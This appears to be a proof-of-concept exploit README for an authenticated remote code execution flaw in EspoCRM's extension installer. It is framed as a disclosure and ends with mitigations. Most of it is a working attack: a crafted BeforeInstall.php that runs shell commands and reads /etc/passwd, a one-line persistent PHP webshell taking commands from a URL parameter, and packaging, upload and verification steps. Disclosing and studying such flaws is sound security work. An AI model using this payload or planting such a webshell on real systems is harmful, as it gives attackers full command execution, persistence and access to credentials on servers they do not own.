EspoCRM v9.3.4 Authenticated Remote Code Execution via Malicious Extension Upload
This repository contains a Proof of Concept (PoC) exploit for an Authenticated Remote Code Execution vulnerability in EspoCRM (versions <= 9.3.4).
The vulnerability exists in the extension upload and installation mechanism, where the application fails to sandbox or validate the contents of the BeforeInstall.php script and uploaded PHP files, allowing an administrative user to execute arbitrary OS commands.
Vulnerability Summary
- Product: EspoCRM
- Affected Versions: <= 9.3.4
- Vulnerability Type: Post-Authentication Remote Code Execution (RCE)
- Authentication: Required (Admin credentials)
- Impact: Full OS Command Execution / System Compromise
- Author: iltosec (Ali Iltizar)
Vendor Status
The vendor has been notified and stated: "This is an expected behavior." Therefore, this PoC is published for educational purposes and to inform users about the inherent risks of the administrative interface so they can apply necessary server-level hardening.
Proof of Concept Video
You can watch the demonstration of the exploit below:
https://www.youtube.com/watch?v=dW1cgbNz9BE
Summary
EspoCRM (v9.3.4) allows administrative users to upload and install extensions. A vulnerability exists where a specially crafted extension package can include a script (BeforeInstall.php) that is executed by the server during the installation process. Since there is no validation or sandboxing of this script, an attacker with admin privileges can execute arbitrary PHP code and OS commands on the server.
Details
The vulnerability lies in the extension installation logic located at application/Espo/Core/Upgrades/Actions/Base.php.
During the installation process, the system checks for the existence of a pre-install script. Specifically, at line 395, the application uses require_once() to load a PHP file provided within the uploaded ZIP package and subsequently calls its run() method:
// application/Espo/Core/Upgrades/Actions/Base.php:395
if (file_exists($beforeInstallScript)) {
require_once($beforeInstallScript); // Insecure loading of user-provided script
$script = new $scriptName();
$script->run($this->getContainer(), $this->scriptParams); // Arbitrary Code Execution
}
PoC
Preparation of Malicious Extension
Create a directory structure and the following files:
mkdir -p /tmp/evil_ext/scripts /tmp/evil_ext/files/public
/tmp/evil_ext/manifest.json: Defines the extension metadata.
{
"name": "RCETestExtension",
"version": "1.0.0",
"acceptableVersions": [],
"releaseDate": "2026-01-01",
"author": "ali-iltizar",
"description": "RCE Test extension"
}
/tmp/evil_ext/scripts/BeforeInstall.php: Contains the payload to be executed.
<?php
class BeforeInstall {
public function run($container, $params = []) {
$output = shell_exec('id && hostname && cat /etc/passwd');
file_put_contents('/var/www/html/public/pwned.txt', $output);
}
}
/tmp/evil_ext/files/public/iltosec.php: A persistent webshell for post-exploitation.
<?php echo shell_exec($_GET['cmd']); ?>
Finally, we zip it:
cd /tmp/evil_ext && zip -r /tmp/malicious_ext.zip .
Uploading the Extension
Navigate to Administration > Extensions.
Click on the Upload button.
The server responds with a success message and an internal ID for the uploaded package.
Executing the Payload
Locate the uploaded extension in the list and click the Install button.
The BeforeInstall::run() method is triggered instantly.
Verification
The RCE vulnerability was verified by confirming file creation and successful command execution via the webshell.
curl http://127.0.0.1/pwned.txt
Webshell verification:
http://127.0.0.1/iltosec.php?cmd=ls;whoami;id
Impact
- Full System Compromise: The attacker gains the ability to execute arbitrary OS commands.
- Data Breach: Access to sensitive configuration files allows stealing database credentials and encryption keys.
- Persistence: Backdoors can be placed in the public directory for long-term access.
- Lateral Movement: The compromised server can act as a pivot point for internal network attacks.
Recommended Mitigation
- Verify extension packages using trusted signatures before execution.
- Disable Hooks: Provide a configuration option to disable pre/post install scripts.
- Introduce a restrictedMode option to disable execution of BeforeInstall.php.
- Security Setting: Enable 'adminUpgradeDisabled' => true in high-security deployments to prevent extension uploads entirely.